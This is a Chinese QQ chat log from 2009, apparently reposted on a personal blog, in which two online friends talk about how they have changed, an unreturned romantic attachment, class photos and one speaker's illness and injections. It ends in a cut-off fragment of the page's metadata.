XXXX\r11:47:52\r你现在多高了？ 怡红公子\r11:48:14\r问这个干什么，上了个大学什么也没有长进\rXXXX\r11:48:39\r只是想知道你现在的大概样子 怡红公子\r11:48:59\r没有变化吧\rXXXX\r11:49:09\r瘦了？ XXXX\r11:49:18\r没长高么？ 怡红公子\r11:49:25\r…………嗯……是瘦了\rXXXX\r11:49:27\r长高就一定会瘦一点的 怡红公子\r11:49:38\r应该没吧，只是体重减轻了\rXXXX\r11:49:46\r长头发还是短头发 怡红公子\r11:50:09\r长的吧，邋遢了点，要去理了\rXXXX\r11:50:31\r你怎么搞的？上大学应该比高中轻松，怎么体重减轻了呢 XXXX\r11:50:52\r长一点好看些吧？ 怡红公子\r11:50:56\r感动啊！！\rXXXX\r11:51:03\r小孩子别理太短 怡红公子\r11:51:23\r我不愿意梳头，不想留长\r怡红公子\r11:51:27\r小孩子？！\rXXXX\r11:51:34\r哦 XXXX\r11:51:37\r不好意思 XXXX\r11:51:43\r习惯这样 XXXX\r11:51:46\r说你 XXXX\r11:51:49\r对不起 怡红公子\r11:51:53\r嗯，了解！\r怡红公子\r11:52:02\r还是这样吧，更亲切点\rXXXX\r11:52:20\r知道你长成小伙子了 怡红公子\r11:52:30\rXXXX\r11:52:31\r不再是去年的…… 怡红公子\r11:52:41\r别这样说了……\rXXXX\r11:52:57\r呵呵 XXXX\r11:53:04\r我眼泪都掉下来了 怡红公子\r11:53:11\r不是吧……\rXXXX\r11:53:20\r人与事都这样的 怡红公子\r11:54:27\r小埃同学最近日子过的舒坦否？看你空间日志好像都是在发泄额！\rXXXX\r11:55:02\r不存在发泄一说 XXXX\r11:55:42\r只是随着意念打出的字 怡红公子\r11:55:59\r那还不是发泄？\rXXXX\r11:56:21\r应该不是 XXXX\r11:56:37\r你似乎还不太懂“发泄”的意思 怡红公子\r11:56:44\r额，你说不是就不是吧\rXXXX\r11:57:03\r发泄，是一种目的 XXXX\r11:57:10\r我打字是没有目的的 怡红公子\r11:57:50\r发泄没有目的，只有输出\rXXXX\r11:57:50\r你现在在家？ 怡红公子\r11:57:57\r在学校\rXXXX\r11:58:05\r还没放假？ XXXX\r11:58:10\r有点奇怪了 怡红公子\r11:58:15\r放假了，只是还在学校\rXXXX\r11:58:34\r哦 怡红公子\r12:00:06\r对了，兄弟恋出书了？\rXXXX\r12:00:35\r你买不到的 怡红公子\r12:00:45\r怎么？\rXXXX\r12:01:02\r我手里都只剩下一本了 怡红公子\r12:01:17\r哦，是自己印刷的吧……\rXXXX\r12:01:46\r我有那么钱排版印刷？ 怡红公子\r12:02:19\r我看过别的小说作者做同人志呀，想要的付钱，然后作者去印刷就行了\rXXXX\r12:02:56\r我好象不太适合做这个事 怡红公子\r12:03:06\r说的也是\rXXXX\r12:04:20\r可以看看你的手不？ 怡红公子\r12:04:32\r为什么要看手？\r怡红公子\r12:04:45\r我的手太小，手指太短\rXXXX\r12:04:55\r因为你不想让我看你 XXXX\r12:05:08\r只看看你的手 怡红公子\r12:05:10\r什么理由么\rXXXX\r12:05:16\r看一只手即可 怡红公子\r12:05:39\r算了\r怡红公子\r12:05:43\r吧\r怡红公子\r12:06:02\r不是不给，是不想；\r不是不想，是害怕；\rXXXX\r12:06:43\r不明白你的话 XXXX\r12:06:54\r但我不问你 怡红公子\r12:07:04\r我知道你没有这个习惯\rXXXX\r12:07:52\r只是 XXXX\r12:08:03\r止不住眼泪 XXXX\r12:08:20\r因为，怡红公子 怡红公子\r12:09:37\r那我就不明白了，你是喜欢上了这个名字，还是怀念以前的那个怡红公子，还是……\rXXXX\r12:10:48\r是你问的第3个原因 怡红公子\r12:11:23\r呵呵，你认为我的第三个原因是什么，怎么就这么肯定？\rXXXX\r12:11:25\r真正的原因在你的省略号里面 怡红公子\r12:12:48\r算了算了，我也不想问了，大家都明白\rXXXX\r12:13:11\r你明白 怡红公子\r12:13:27\r你不明白？\rXXXX\r12:14:11\r你觉得我还不够明白？ 怡红公子\r12:14:57\r我觉得你很明白，只是你的话让我又觉得你很不明白似的，嘿嘿，我知道你有一颗七窍玲珑心，肯定是明白的。\rXXXX\r12:15:19\r你真是长大了 怡红公子\r12:15:37\r哎！你又这样说了……\rXXXX\r12:16:40\r当初那个玲珑到剔透的孩子呢？ 怡红公子\r12:17:20\r哦，原来是这个意思。我记得我说过的，并没有什么所谓的长大，只是，心态。\rXXXX\r12:17:40\r是的 XXXX\r12:17:49\r这是必须的改变 XXXX\r12:18:12\r否则你拿什么来抵挡这多变的世界？ 怡红公子\r12:18:50\r这个世界，它……，很难捉摸，我抵挡不了，\r怡红公子\r12:20:40\r吃饭了没》\rXXXX\r12:20:53\r你饿了？ 怡红公子\r12:21:20\r不饿……只是问你……你没有饮食规律\rXXXX\r12:21:39\r你居然还记得？ 怡红公子\r12:22:20\r嗯，这个还是记得的\rXXXX\r12:22:35\r其他的都淡忘了 怡红公子\r12:22:54\r有些，也该忘掉吧\rXXXX\r12:22:59\r你总是这样不露声色的伤人 怡红公子\r12:23:17\r又伤你了？对不起……\rXXXX\r12:23:31\r是我在自伤 XXXX\r12:23:40\r不怨你 怡红公子\r12:24:11\r那该怨谁？\rXXXX\r12:24:15\r我 怡红公子\r12:24:28\r哦\r怡红公子\r12:25:15\r看样子是还没有吃了\rXXXX\r12:25:34\r我在家里，没事的 怡红公子\r12:25:56\r在家就可以不吃饭拉？嘿嘿\rXXXX\r12:26:15\r老在睡觉 XXXX\r12:26:26\r也不需要吃太多饭 怡红公子\r12:26:52\r变猪，嘿嘿。你就算睡再多的觉也长不胖。\rXXXX\r12:27:21\r是的 XXXX\r12:28:42\r不过几觉醒来，也就老了 怡红公子\r12:29:30\r我觉得你不老，因为你心不老。\rXXXX\r12:29:43\r光阴渐逝，红颜暗老 XXXX\r12:30:15\r心也渐渐老了 XXXX\r12:30:38\r去年的心，18岁 怡红公子\r12:30:44\r哎！我说的是真的，不老。\rXXXX\r12:31:03\r今年的心，应该多加几个数字了 XXXX\r12:33:53\r你还有几年毕业？ 怡红公子\r12:34:07\r三年\r怡红公子\r12:34:16\r下个学期大二了\rXXXX\r12:34:16\r哦 XXXX\r12:34:23\r我以为还有4年 怡红公子\r12:34:46\r也差不多\rXXXX\r12:34:55\r3年后，你会是什么样子呢 怡红公子\r12:35:08\r你很期待？\rXXXX\r12:35:17\r没有 怡红公子\r12:35:36\r哦\rXXXX\r12:35:50\r也在想3年我是什么样子 XXXX\r12:35:58\r后 怡红公子\r12:36:10\r嗯，会变的\rXXXX\r12:36:27\r是的 XXXX\r12:36:41\r3年后你风华正茂 怡红公子\r12:36:47\r老了\rXXXX\r12:36:57\r老了的，是我 怡红公子\r12:37:09\r我也老了，心老了\r怡红公子\r12:37:24\r不，应该不是老了，是憔悴了\rXXXX\r12:37:46\r我永远在你老之前 白了头发花了眼睛 XXXX\r12:38:03\r所以，我想看看你的手 怡红公子\r12:39:25\r算了算了，看了又如何，该来的还是会来的，岁月记录的，永远都是衰老\rXXXX\r12:40:13\r也好 怡红公子\r12:40:21\r嗯\rXXXX\r12:41:07\r梦中依稀牵着的那只手，是很美好的 怡红公子\r12:41:33\r那就保持那份美好吧\rXXXX\r12:41:57\r是的 XXXX\r12:42:10\r许多人与事，都是这样的 怡红公子\r12:42:40\r或许是\rXXXX\r12:47:47\r你怎么不写日志了？ 怡红公子\r12:48:08\r是说空间么？\rXXXX\r12:48:12\r是的 怡红公子\r12:48:34\rwww.imnerd.org有兴趣就看下吧，也没什么\r怡红公子\r12:48:40\r我的博客\r怡红公子\r12:48:54\r估计你不喜欢的\rXXXX\r12:48:58\rXXX？ 怡红公子\r12:49:05\r嗯\r怡红公子\r12:49:19\rXXX\rXXXX\r12:50:57\r是你的名字？？？ 怡红公子\r12:51:21\r嗯，我还以为你知道了……呵呵，从网址就看出来了？\rXXXX\r12:52:58\r总觉得不是你的名字 怡红公子\r12:53:16\r怎么这么说？\rXXXX\r12:53:25\r呵呵 XXXX\r12:53:32\r只是 XXXX\r12:53:44\r习惯了你叫怡红公子 怡红公子\r12:54:06\r嗯，我也是，网上认识的，我一般都叫他们网名的\rXXXX\r12:54:44\rXXX，感觉是另外一个人 XXXX\r12:54:51\r一个陌生的人 怡红公子\r12:55:18\r呵呵，肯定是的，一个你没接触过的，人吧\rXXXX\r12:55:33\r可是 XXXX\r12:55:38\r你是XXX XXXX\r12:55:57\r你不再是那个怡红公子？ XXXX\r12:56:09\r怪不得 怡红公子\r12:56:17\r所以，我是一个，你没接触过的，陌生的，人\r怡红公子\r12:56:32\r你总是这样拒人千里之外么\rXXXX\r12:56:54\r不是 XXXX\r12:57:09\r我仿佛又经历了那一次 XXXX\r12:57:17\r我等了你2个月 XXXX\r12:57:37\r可是那天晚上视频里突然出现一个很陌生的人 怡红公子\r12:57:56\r终于还是回到了这里\r怡红公子\r12:58:05\r所以，我害怕\r怡红公子\r12:58:25\r害怕碰到那个拒我于千里之外的你\rXXXX\r12:58:27\r我等了你半学期，可刚才你说你叫XXX XXXX\r12:59:09\r我没有办法 XXXX\r12:59:15\r一点办法都没有 XXXX\r12:59:26\r我只记得怡红公子 怡红公子\r12:59:58\r那就让记忆永远保存在那年的暑假，两个月吧\r怡红公子\r13:01:05\r你说我变了，就是变了，虽然我觉得没有。你觉得我陌生了，那肯定是陌生了，因为已经不再从前。\rXXXX\r13:01:54\r你打过来的字，跟当初不一样 XXXX\r13:02:04\r难道我读不出来么？ 怡红公子\r13:02:40\r你，当然是读得出来的。品不出来的，是我自己。\rXXXX\r13:03:14\r当初我是爱公子的 XXXX\r13:03:40\r虽然当初我没有也无法确认什么是爱 XXXX\r13:03:49\r但后来每每想起 怡红公子\r13:03:59\r你爱的，永远都是那两个月的怡红公子\rXXXX\r13:04:15\r都会奇怪那究竟是种什么样感觉 怡红公子\r13:05:29\r可我现在，虽然也是怡红公子，但在你面前，却多了一层身份，一个叫XXX的人，站在一个叫怡红公子的人和XXXX的中间。所以，现在的怡红公子，让你变得陌生了。\rXXXX\r13:05:34\r到后来，牵住你的手，才真正明白 怡红公子\r13:05:58\r感觉这种事，往往也只是一瞬间的\rXXXX\r13:06:10\r明白的时候，你已经远去 怡红公子\r13:06:11\r就像品茶一样，品一次叫品\r怡红公子\r13:06:20\r品两次就叫喝\r怡红公子\r13:06:30\r品三次则为驴饮\rXXXX\r13:06:57\r你懂点茶道了 怡红公子\r13:07:21\r脑子里想到的而已，和茶道，无关\rXXXX\r13:07:43\r篮球场上有你的照片么？ 怡红公子\r13:08:02\r你还想看么？\rXXXX\r13:08:08\r是的 怡红公子\r13:08:24\r照片上的，永远都是那个陌生的XXX，不是你的怡红公子！！！！！！！！！！！！！！\rXXXX\r13:08:39\r公子 XXXX\r13:08:46\r你不要这样 XXXX\r13:09:14\r我会为今天的说话后悔 XXXX\r13:09:39\r我是个成年人 怡红公子\r13:09:45\r我不再场上\r怡红公子\r13:09:47\r在\rXXXX\r13:09:57\r不能说不负责的话 XXXX\r13:10:15\r你为什么不在场上？ 怡红公子\r13:10:29\r在我面前，没有关系，因为，我懂得，哪些，是玩笑话\r怡红公子\r13:10:42\r我，不适合的\rXXXX\r13:10:47\r我今天没说玩笑 怡红公子\r13:10:59\r我明白\rXXXX\r13:11:04\r正因为不是玩笑，我才担心 XXXX\r13:11:27\r公子 XXXX\r13:11:43\r为什么你的日志，每个字都是你呢？ XXXX\r13:11:58\r而你跟我说话时，却…… XXXX\r13:12:07\r你在刻意伪装？ 怡红公子\r13:12:11\r网上的，永远都是正在成长的怡红公子\rXXXX\r13:12:22\r我读你的日志 怡红公子\r13:12:23\r现实的，是你陌生的XXX\rXXXX\r13:12:40\r分明感觉到了怡红公子 XXXX\r13:13:42\r怡红公子，居然毫无声息地迁徙到另外一个地方 怡红公子\r13:14:37\r你觉得，以前的怡红公子，拥有的是什么样的气质\rXXXX\r13:14:58\r干净 XXXX\r13:15:08\r单纯 XXXX\r13:15:13\r善良 XXXX\r13:15:20\r淘气 XXXX\r13:15:34\r偶尔哭鼻子 XXXX\r13:15:51\r骂别人时自己却在哭 XXXX\r13:16:22\r爱赌气 XXXX\r13:16:44\r出门就装大人 XXXX\r13:17:05\r其实内心很小孩 怡红公子\r13:17:53\r让我想到了周瑜了。\r你的梦，太美，我变不回去，对不起。\rXXXX\r13:18:52\r我没有把自己强加到你身上 XXXX\r13:19:34\r也许，我在其他那里是彻彻底底的周瑜 XXXX\r13:19:43\r但在你这里，不是 怡红公子\r13:20:46\r我知道，我从来都没有把你当作周瑜，你只是XXXX。我想到的，是小说里面的那个周瑜，那个懵懂的周瑜\rXXXX\r13:21:00\r哦 XXXX\r13:22:04\r你们班的男生，都不帅？ 怡红公子\r13:22:13\r呵呵，你看了不就知道了\r怡红公子\r13:22:31\r这个问题，问的有些暧昧了\rXXXX\r13:22:48\r可是，你是其中哪一个呢？ 怡红公子\r13:23:20\r说了，你要找的怡红公子不在那里的，你又何苦\rXXXX\r13:23:32\r去年暑假你给我的那张小小的照片 XXXX\r13:23:51\r可是，你现在长大了 XXXX\r13:24:00\r我辨认不出来 XXXX\r13:24:40\r怡红公子\r13:25:17\r你很有眼光，挑了个我们班最帅的呢！呵呵\r怡红公子\r13:25:28\r但，我不喜欢他\r怡红公子\r13:25:46\r他，让我反感\rXXXX\r13:25:50\r唉 XXXX\r13:25:56\r还以为你是他呢 XXXX\r13:26:22\r怎么感觉他是你呢？ XXXX\r13:26:26\r奇怪了 怡红公子\r13:26:45\r那句怎么说来着，有缘千里来相会，无缘近处也不识\rXXXX\r13:26:47\r唉 XXXX\r13:26:56\r不应该看照片的 怡红公子\r13:27:03\r嗯\rXXXX\r13:27:15\r认准了一个却不是你 怡红公子\r13:27:44\r我很好奇，为什么，你会觉得，他是我？\rXXXX\r13:27:51\r不知道 XXXX\r13:27:55\r感觉他是你 XXXX\r13:28:04\r可事实他不是你 XXXX\r13:28:11\r不看照片了 XXXX\r13:28:16\r再也不看了 XXXX\r13:28:39\r人与事，总是这样让人伤感 XXXX\r13:29:05\r我的眼睛骗了我的心 XXXX\r13:29:36\r连我自己都欺骗，还能怨恨这世界充满欺骗么？ XXXX\r13:29:38\r呵呵 XXXX\r13:29:43\r不说了 XXXX\r13:39:49\r公子？ 怡红公子\r13:39:54\r嗯？\rXXXX\r13:40:03\r我以为你走了 怡红公子\r13:40:20\r没有，我在等你抚平你的伤口\rXXXX\r13:40:45\r没什么了 XXXX\r13:41:08\r本来，你就一直没给一个整体而清晰的印象 XXXX\r13:41:26\r去年那张照片，也是很模糊的 怡红公子\r13:41:39\r给你留下的，只是美化的我\rXXXX\r13:41:49\r不是 XXXX\r13:42:01\r那张照片，一点都不美 XXXX\r13:42:28\r因为我认为，你本人一定比照片美 怡红公子\r13:42:45\r怡红公子\r13:42:55\r问你，我们，是朋友，么？\rXXXX\r13:43:17\r应该是特殊的朋友 XXXX\r13:43:36\r因为，我爱怡红公子 怡红公子\r13:43:49\r我只要简单的回答，是，还是，不是\rXXXX\r13:44:55\r不是 XXXX\r13:45:03\r我把你当爱人 怡红公子\r13:45:35\r哎!不是呀…………也是，怎么会嘛\rXXXX\r13:45:53\r怎么了 XXXX\r13:46:02\r我表达有问题？ 怡红公子\r13:46:29\r没有，我明白\rXXXX\r13:46:34\r你穿黑衬衫不？ 怡红公子\r13:46:47\r我喜欢白色\r怡红公子\r13:46:59\r我没有黑色的一副\rXXXX\r13:47:00\r那就太好了 怡红公子\r13:47:02\r衣服\rXXXX\r13:47:18\r我很害怕那个穿黑衬衫的是你 XXXX\r13:47:39\r总算不是你 XXXX\r13:48:10\r唉 怡红公子\r13:48:13\r我记得，以前我在别人面前，总是说你是我的朋友，当时依稀记得，带着种自豪与兴奋，原来，一切都不是，一切都只是我的空想\rXXXX\r13:48:36\r你为什么不是第一眼认的那个人呢 XXXX\r13:48:43\r真是造化弄人 怡红公子\r13:48:54\r我为什么要是他！\rXXXX\r13:49:13\r天啦 XXXX\r13:49:17\r我说错话了 XXXX\r13:49:22\r对不起 怡红公子\r13:49:40\r算了\r怡红公子\r13:49:46\r我已经习惯\rXXXX\r13:50:07\r我没见过你！！！！！！！！！！！！！1 XXXX\r13:50:14\r我不知道你长什么样！！！！！！！！！！！！！！！ 怡红公子\r13:50:15\r所以，我不怪你\rXXXX\r13:50:25\r你 XXXX\r13:50:27\r是你 XXXX\r13:50:31\r太残忍 怡红公子\r13:51:09\r不是的。\r怡红公子\r13:51:48\r我想，你可以写篇日志，把这些聊天记录粘上去，题目就叫，与《怡红公子的心灵交流》\rXXXX\r13:52:21\r你可以先贴到你的日志里 怡红公子\r13:52:47\r那题目呢……\rXXXX\r13:57:50\r妈妈在说吃饭的事 XXXX\r13:58:45\r你觉得需要标题么？ 怡红公子\r13:59:10\r嗯，那就不要把\r怡红公子\r13:59:24\r你还没吃饭？！\rXXXX\r13:59:31\r不饿 怡红公子\r13:59:35\r赶快去吃吧\r怡红公子\r13:59:51\r等你饿的时候来吃就已经晚了\rXXXX\r13:59:51\r现在吃不合适 怡红公子\r14:00:02\r怎么不合适了?\rXXXX\r14:00:08\r呵呵 XXXX\r14:00:10\r没什么 XXXX\r14:00:59\r总之是与身与心俱不合适吧 XXXX\r14:01:25\r不妥的意思 怡红公子\r14:01:36\r哎！随你了\rXXXX\r14:02:59\r公子 XXXX\r14:03:09\r看你一眼不行么？ 怡红公子\r14:03:25\r算了\r怡红公子\r14:03:30\r还是那句话\r怡红公子\r14:20:10\r有些事情，我，强求不来的\r怡红公子\r14:20:15\r这个，我明白\rXXXX\r14:20:40\r正如你 XXXX\r14:20:58\r强求不来的 …………\r怡红公子\r14:34:06\r我觉得，这样的小埃，很温馨\r怡红公子\r14:34:16\r你还是第一次这么认真的教我呢\rXXXX\r14:34:40\r换了别人我早骂出他祖宗18代 XXXX\r14:34:54\r真是破天荒了，今天 怡红公子\r14:35:26\r还好还好\rXXXX\r14:35:53\r好象我从未真正骂过你 怡红公子\r14:36:00\r我也没有呀！\rXXXX\r14:36:18\r你是没有骂人的习惯吧 XXXX\r14:36:29\r而我一直有骂人的嗜好 怡红公子\r14:37:37\r我，没有骂人的习惯？不太清楚……\r你，嗯，应该是这样的，刀子嘴……\rXXXX\r14:38:10\r恩 XXXX\r14:39:22\r那个一班，里面有你？ 怡红公子\r14:39:34\r有\rXXXX\r14:40:05\r你没拿那什么牌子吧？ XXXX\r14:40:26\r拿“班”的那个？ 怡红公子\r14:40:32\r没有\rXXXX\r14:40:37\r哦 怡红公子\r14:40:53\r那位，很憨实\rXXXX\r14:41:04\r身高不够 XXXX\r14:41:23\r充其量就一根儿黄葱 XXXX\r14:41:44\r你没站第一排吧？ 怡红公子\r14:41:48\r呵呵，说给他听他会笑死的\r怡红公子\r14:42:02\r哎！\r怡红公子\r14:42:06\r最后一排\rXXXX\r14:42:26\r总共才2排 XXXX\r14:42:33\r哪儿有最后一排？ XXXX\r14:43:06\r后面的看不见 XXXX\r14:43:10\r太远了 怡红公子\r14:43:22\r那就是第二排拉，呵呵\r怡红公子\r14:43:40\r照片上的我，难看。\r怡红公子\r14:43:48\r我是不上镜的\r怡红公子\r14:43:50\r呵呵\rXXXX\r14:43:50\r那就看本人吧 怡红公子\r14:44:17\r耗了这么久，你就是想看一看么？\rXXXX\r14:44:32\r你这样说有点污蔑我 怡红公子\r14:45:05\r嗯……对不起……\rXXXX\r14:45:07\r别到最后了，捅一刀 XXXX\r14:45:37\r我不耗了 XXXX\r14:45:48\r免得你认为我是想看你 XXXX\r14:45:50\r88 怡红公子\r14:46:05\r哎！你总是这样，算了算了\r怡红公子\r14:46:07\r88\rXXXX\r14:46:54\r实话告诉你吧 XXXX\r14:47:09\r那照片上的，基本没一个有看头 怡红公子\r14:47:39\r知道啦知道拉，\rXXXX\r14:47:48\r怡红公子\r14:47:52\r肯定没一个你看的上的拉\rXXXX\r14:48:01\r唉 怡红公子\r14:48:03\r但他们，都是我的同学，我的朋友\r怡红公子\r14:48:08\r我，不会这样认为的\rXXXX\r14:48:11\r你也开始“假”起来 怡红公子\r14:48:43\r假作真时真亦假\rXXXX\r14:49:14\r恩 XXXX\r14:49:17\r知道了 XXXX\r14:49:24\r删除后面的 XXXX\r14:49:30\r保留前面的 XXXX\r14:49:32\r88 怡红公子\r14:49:38\r88\rXXXX\r14:52:01\r你若没事就再陪我说说话 XXXX\r14:52:10\r5点我去打针 怡红公子\r14:52:13\r行，我没事\r怡红公子\r14:52:20\r哦，又干什么了？\rXXXX\r14:52:32\r干什么？ 怡红公子\r14:52:42\r不是不是，你误会了\r怡红公子\r14:52:48\r我是说你又病了》\rXXXX\r14:52:54\r我一直坐着除了打字什么都没干 XXXX\r14:53:00\r哦 XXXX\r14:53:10\r老毛病 怡红公子\r14:53:17\r哦\rXXXX\r14:53:30\r暑假要做2个手术 怡红公子\r14:53:47\r大的还是小的，危险系数高么？\rXXXX\r14:53:54\r这半学期一直是在坚持 XXXX\r14:54:01\r不想耽误课 XXXX\r14:54:13\r所以每个月打一星期的针 怡红公子\r14:54:19\r好老师\rXXXX\r14:54:23\r楼下不远有诊所 XXXX\r14:54:34\r挂上针就回来 怡红公子\r14:55:50\r哦\r怡红公子\r14:56:11\r不在诊所等么？\rXXXX\r14:56:16\r不 XXXX\r14:56:38\r2瓶药，打完都什么时间了 XXXX\r14:56:50\r而且诊所太郁闷 怡红公子\r14:56:55\r嗯，身体要保护好\rXXXX\r14:56:59\r回来可以听歌看电影 怡红公子\r14:57:07\rXXXX\r14:57:12\r完了自己把针一取就好 XXXX\r14:57:42\r怡红公子\r14:58:57\r你自己取针呀？小心点\r怡红公子\r14:59:05\r取针也不能马虎的\r怡红公子\r14:59:15\r一不小心就会弄到血管的\r怡红公子\r14:59:24\r什么意思？\r怡红公子\r14:59:35\r你要说的，是，我是你的朋友么？\rXXXX\r15:06:08\r朋友叫我 XXXX\r15:06:12\r我出去一下 XXXX\r15:38:59\r公子？ 怡红公子\r15:39:16\r在\rXXXX\r15:39:38\r我顺便把针挂上了 XXXX\r15:39:54\r打字就慢了 怡红公子\r15:40:07\r嗯？你就去了？不是说5点么？\rXXXX\r15:40:25\r不想再跑一趟 XXXX\r15:40:46\r正好是下去了 怡红公子\r15:41:05\r哦\rXXXX\r15:43:16\rXXXX\r15:43:27\r给你发个照片 XXXX\r15:43:46\r不过那花衬衫是别人的 怡红公子\r15:44:04\r感觉还是以前啊，没变化\rXXXX\r15:49:48\r你在干嘛 怡红公子\r15:50:26\rXXXX\r15:51:23\r勘测？ 怡红公子\r15:51:31\r嗯，做地质图\rXXXX\r15:51:42\r哦 怡红公子\r15:57:18\r你别聊天了吧，好好打针\rXXXX\r15:57:47\r很痛 XXXX\r15:58:00\r需要分散注意力 怡红公子\r15:58:11\r手里握个暖水瓶吧\rXXXX\r15:58:21\r天好热 怡红公子\r15:58:33\r我错了\rXXXX\r15:58:35\r怎么会需要热水瓶呢 怡红公子\r15:58:54\r点滴会冷手\rXXXX\r15:58:59\r你忙你的 怡红公子\r15:59:11\r嗯，我只是说说\rXXXX\r15:59:15\r知道你不会安慰照顾人 怡红公子\r15:59:23\rXXXX\r16:02:49\r你会爱我么？ 怡红公子\r16:02:56\r不会\rXXXX\r16:03:49\r你是正确的 怡红公子\r16:04:14\r哦？\rXXXX\r16:05:16\r我会爱女人么？ 怡红公子\r16:05:30\r不会\rXXXX\r16:05:56\r我爱男人？ 怡红公子\r16:06:09\r嗯\rXXXX\r16:06:19\r你呢？ 怡红公子\r16:07:04\r我？不知道……\r怡红公子\r16:07:37\r你好像说过我是0的\rXXXX\r16:10:00\r你喜欢大男人？ 怡红公子\r16:10:14\r不知道……\rXXXX\r16:10:36\r总之是不喜欢我 XXXX\r16:10:48\r因为你觉得我是0 怡红公子\r16:11:18\r不是\r怡红公子\r16:11:46\r你不是忘记了吧，我是知道你现实里的身份的\rXXXX\r16:12:13\r你知道的不很完整 怡红公子\r16:12:39\r但也差不多拉……\rXXXX\r16:14:32\r不明白你都知道些什么 怡红公子\r16:14:49\r你想听?\rXXXX\r16:14:58\r是不是说出来会吓死人？ XXXX\r16:15:06\r你说吧 怡红公子\r16:15:08\r应该不会\rXXXX\r16:15:13\r我想知道 …………\r怡红公子\r16:29:53\r生气了么?\r怡红公子\r16:33:51\r唉!\r怡红公子\r16:34:50\r唉!早知道就不说了\r怡红公子\r16:34:55\r上次也是这样\rXXXX\r16:35:28\r呵呵 XXXX\r16:35:37\r孩子气 怡红公子\r16:35:48\rXXXX\r16:36:39\r那你就把我当作XXX吧 怡红公子\r16:37:12\r如果我把你当作XXX的话,我就不可能和你聊这么久了\rXXXX\r16:37:59\r很久没跟你说话，今天的确说得够久 XXXX\r16:38:42\r谢谢你 XXXX\r16:38:55\r打针很郁闷的 怡红公子\r16:47:53\r谢我什么,说话而已\rXXXX\r16:48:12\r你图做好了么 怡红公子\r16:48:15\r今天讲的何止久饿,从中午一直到现在\rXXXX\r16:48:23\r呵呵 怡红公子\r16:48:35\r那个估计要做一个暑假了,好多呢\rXXXX\r16:49:27\r暑假我有事 XXXX\r16:49:34\r不能陪你 怡红公子\r16:50:18\r没事,当我陪你就好了\rXXXX\r16:50:30\r呵呵 XXXX\r16:50:41\r我也许要外出 怡红公子\r16:50:56\r不是说做手术么,怎么手术还外出?\rXXXX\r16:51:17\r去南方做 XXXX\r16:52:06\r今天药水打得快一些 XXXX\r16:52:14\r有点不舒服 怡红公子\r16:52:33\r南方?哪里?\rXXXX\r16:52:43\r唉 怡红公子\r16:54:54\r唉!\rXXXX\r16:55:05\r怎么了？ XXXX\r16:55:16\r手很痛 XXXX\r16:55:22\r有点晕 怡红公子\r16:55:25\r没什么,听听歌舒坦舒坦\r怡红公子\r16:55:38\r手痛要把点滴那个弄慢点\r怡红公子\r16:55:50\r别一味追求速度\r怡红公子\r16:55:58\r身体吃不消就不好了\rXXXX\r16:56:41\r呵呵 XXXX\r16:56:49\r是的 ","count":6684,"date":"2009年07月05日","featuredImage":null,"permalink":"https://imnerd.org/rare-chats.html","summary":"\u003cp\u003e\u003cspan style=\"font-size:16px\"\u003e\u003cspan style=\"font-family:黑体\"\u003e纯QQ聊天记录，鄙视者可以完全忽略不计，感兴趣者可以看下。\u003c!-- m o r e --\u003e\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e\n\u003ctable border=\"0\" cellspacing=\"0\" cellpadding=\"0\" width=\"82%\"\u003e\r\n\u003ctbody\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e11:37:18\u003c/h2\u003e\r\n\u003ch2\u003e谢谢你的蛋糕\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e11:37:35\u003c/h2\u003e\r\n\u003ch2\u003e你怎么了 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e11:37:42\u003c/h2\u003e\r\n\u003ch2\u003e看看你不行么？ \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e11:37:58\u003c/h2\u003e\r\n\u003ch2\u003e不是不行,是不想\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e11:39:46\u003c/h2\u003e\r\n\u003ch2\u003e你去年暑假不是说了今年过来么？ \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e11:40:15\u003c/h2\u003e\r\n\u003ch2\u003e呵呵,你还记得……是呀！\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e11:40:59\u003c/h2\u003e\r\n\u003ch2\u003e看来是你忘了 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e11:41:18\u003c/h2\u003e\r\n\u003ch2\u003e可是貌似我是说我去吃喜糖的\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e11:41:52\u003c/h2\u003e\r\n\u003ch2\u003e你当面说谎的功力真让人震撼 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e11:41:59\u003c/h2\u003e\r\n\u003ch2\u003e嗯\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd 